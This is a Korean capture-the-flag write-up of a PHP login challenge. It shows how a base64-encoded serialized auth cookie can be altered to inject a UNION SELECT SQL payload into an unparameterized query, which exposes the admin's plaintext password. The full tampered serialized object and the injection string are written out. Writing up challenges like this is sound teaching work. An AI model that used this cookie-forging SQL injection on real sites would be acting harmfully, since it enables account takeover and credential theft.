문제 개요

페이지 분석

최초 페이지다. guest 계정이 같이 제공된다.

로그인하면 위와 같은 페이지를 거쳐서

위와 같은 페이지로 이동할 수 있다.
페이지로 이동하면

이렇게 회원정보가 출력된다.
문제 설명도 적고, 뭔가를 할 수 있는 페이지 자체가 적으니 대충 admin 계정을 탈취하면 될 것이다.
애초에 그거말고는 할 수 있는 공격이 없다.
코드 분석

php로 구현된 페이지이다. 일단 모든 페이지에 대한 코드가 제공된 것으로 보인다.
하나씩 까보자
authenticate.php
계정 탈취라고 하면 가장 먼저 생각할 수 있는 것이 SQL injection, 그리고 가장 먼저 떠올릴 수 있는 SQL injection 포인트는 로그인 페이지이다.

일단 불가능하다. 사용자로부터 전달받은 값을 쿼리에 파라미터를 통해 전달하고 있다. 이 경우 사용자의 입력값은 애초부터 SQL에서 문법적인 기능으로 동작하지 않는다.
과감히 포기한다.
다른 부분이라도 마저 보자.

위 SQL 쿼리로 가져온 결과값을 사용자의 입력값과 비교하여 존재하는 회원이라면 auth라는 쿠키를 발급하는 코드이다. 특이한 점은 User라는 객체를 생성해서 이를 직렬화(serialize)한 후 base64인코딩 처리하여 auth 쿠키 값으로 활용한다는 점이다.
문제는 여기서 발생하는데, base64 인코딩은 기본적으로 ‘암호화’가 아니다. 그렇기 때문에 base64 인코딩된 쿠키를 보고 원본 값을 알아낼 수도 있으며, ‘조작도 가능’하다.
따라서 그냥 회원정보 값을 admin의 값으로 바꿔서 쿠키를 만들어 쓰면 사이트는 회원정보를 admin으로 인식할 것이다.
당장은 이를 방지하기 위해 쿠키값에 비밀번호까지 포함되어 있다.(비밀번호 유출 방지를 위해 md5 해시 처리되어 있다.)
일단 쿠키 변조를 통해 다른 회원 자격으로 접근 가능하다는 사실만 확인한 채로 다음으로 넘어간다.
profile.php
다음으로 SQL injection을 적용할 수 있는 포인트는 profile.php(프로필) 페이지이다.
여기선 뭔가 나올 것이다.

auth 쿠키가 없다면(로그인이 되어있지 않다면) 로그아웃 페이지로 이동시키고, 존재한다면 회원정보를 가져오는 코드이다. sendProfile() 함수를 통해 뭔가를 가져오는 것 같으니 이 경우 config.php 코드도 확인해야 한다.
config.php

다른 코드를 보기에 앞서 __wakeup()이라는 함수가 있다. 이 함수는 unserialize()라는 함수가 호출될 때 자동으로 실행되는 함수이다. profile.php 코드에서 봤던 unserialize() 함수가 호출되면 validate() 함수와 refresh() 함수가 실행된다는 점만 알아두고 본격적인 코드를 확인한다.

unserialize()가 호출될 때 가장 먼저 실행되는 validate()을 보면, 쿠키에 저장된 username으로 사용자 정보를 가져와서 쿠키에 저장된 비밀번호를 검증하는 과정이란 것을 알 수 있다. 비밀번호가 일치하지 않는다면 로그아웃을 시켜버린다. 그리고 authenticate.php에서처럼 입력값을 파라미터로 전달하고 있기 때문에 SQL injection도 먹히지 않는다.
핵심은 비밀번호를 모르면 쿠키를 변조하더라도 소용없다는 점이다.
refresh()는 쿠키값에 저장된 값을 통해 사용자의 다른 정보를 가져와 profile에 저장하는 함수다. 대신 다른 코드와 다르게 특이한 점이 하나 있다.
$query = "select username, email, favorite_cereal, creation_date from users where `id` = '" . $this->id . "' AND `username` = '" . $this->username . "'";
바로 값을 파라미터로 전달하지 않고 직접 전달한다는 점이다. 이 경우 SQL injection이 발생할 수 있다. 이를 이용해 id 또는 username에 SQL 쿼리를 삽입하여 다른 SQL 쿼리를 실행시킬 수 있다.
참고 - prepared statement는 항상 안전한가?
문제를 풀기 전에 한 가지 잘못 알고 있던 사실은, prepared statement를 사용하는 것만으로 SQL injection이 발생하지 않는다는 것이었다. 일반적으로 사용하는 prepared statement의 형식은 다음과 같다.
//$conn = new PDO('sqlite:../important.db');
$query = "select * from users where `username` = :username";
$stmt = $conn->prepare($query);
$stmt->bindParam(':username', $this->username);
$stmt->execute();
먼저 SQL 쿼리를 작성한 후 입력값 위치를 파라미터로 비워둔다. 이후 preparation 단계를 거쳐 쿼리를 컴파일 후 대기처리한 뒤, 파라미터에 사용자 입력값을 대입시켜 실행한다.
위에서 문제가 된 코드는 다음과 같다.
//$conn = new PDO('sqlite:../important.db');
$query = "select username, email, favorite_cereal, creation_date from users where `id` = '" . $this->id . "' AND `username` = '" . $this->username . "'";
$stmt = $conn->prepare($query);
$stmt->execute();
preparation 단계의 목적은 많은 쿼리를 실행해야 할 때 변수값이 들어오면 빠른 처리가 가능하도록 변수값을 제외한 쿼리를 사전에 컴파일하기 위함이다. 그런데 위의 경우 preparation 단계에서 이미 사용자의 입력값을 쿼리에 넣고 prepare를 수행하고 있다. 이 경우에는 사용자의 입력값이 이미 들어간 상태에서 쿼리가 처리되기 때문에 사용자가 입력값에 SQL 쿼리를 삽입하더라도 사전에 작성된 쿼리인지 삽입된 쿼리인지 구분할 방법이 없는 것이다.
핵심은 SQL injection을 막는 것은 prepared statement 자체가 아닌 prepared statement의 파라미터 바인딩 과정이라고 볼 수 있다.
공격 시나리오 설계
어찌됐든 위에서 분석한 내용을 바탕으로 공격 시나리오를 세워볼 수 있다.
처음 발견한 취약 포인트는 auth 쿠키다. auth 쿠키를 변조하여 다른 사용자의 자격을 획득할 수 있다. 또다른 취약 포인트는 프로필을 불러오는 과정에서의 SQL injection이다. 쿠키의 id, username 값을 쿼리로 가져오는 과정에서 SQL injection이 가능하다.
이를 종합하면 auth 쿠키의 id 또는 username 값에 SQL 쿼리를 삽입하여 admin의 데이터를 가져오는 공격이 가능하단 것을 알 수 있다.

문제의 이 auth 쿠키를 디코딩하면 User 객체의 정보 일부를 얻을 수 있다.
O:4:"User":4:{s:8:"username";s:5:"guest";s:2:"id";i:1;s:11:"\x00*\x00password";s:32:"5f4dcc3b5aa765d61d8327deb882cf99";s:10:"\x00*\x00profile";N;}
여기서 id의 값이 1인 것을 알 수 있다.
참고로 여기서 id값에 따옴표를 포함시켰을 때 다음과 같은 오류도 발생한다.

사용자 입력값이 SQL 오류를 발생시키는 것으로 보아 실제로 SQL injection 공격이 가능하다고 추측할 수 있다.
문제의 SQL 쿼리를 다시 확인해보면
select username, email, favorite_cereal, creation_date from users where `id` = '" . $this->id . "' AND `username` = '" . $this->username . "'";
이 쿼리에서 가져온 데이터를 프로필 페이지에 표시하는데, 만약 쿼리로 다른 데이터를 가져온다면 다른 데이터가 프로필 페이지에 표시될 것이다.
이 문제에 존재하는 또다른 문제는 비밀번호를 평문 그대로 데이터베이스에 저장한다는 점인데, 이를 통해 admin 계정의 비밀번호 또한 가져올 수 있을 것이다.
가져와야 할 데이터는 admin의 password, 실행되어야 할 쿼리는
select password, [data2], [data3], [data4] from users where username=admin;
id에 쿼리를 삽입하여 위와 같은 동작을 수행한다면 다음과 같은 SQL 쿼리가 실행되면 될 것이다.
select username, email, favorite_cereal, creation_date from users where `id` = '99' union select username, email, password, creation_date from users where username='admin'--' AND `username` = '[입력값]'
결과적으로 id에 들어가야 할 값은 아래와 같고
99' union select username, email, password, creation_date from users where username='admin'--
이를 직렬화된 객체에 삽입하면 다음과 같을 것이다.
O:4:"User":4:{s:8:"username";s:5:"guest";s:2:"id";s:93:"99' union select username, email, password, creation_date from users where username='admin'--";s:11:"\x00*\x00password";s:32:"5f4dcc3b5aa765d61d8327deb882cf99";s:10:"\x00*\x00profile";N;}
이를 base64 인코딩하고, 이 값을 auth 쿠키에 넣으면 끝이다.

admin의 비밀번호를 알아냈다. admin의 비밀번호가 플래그였다.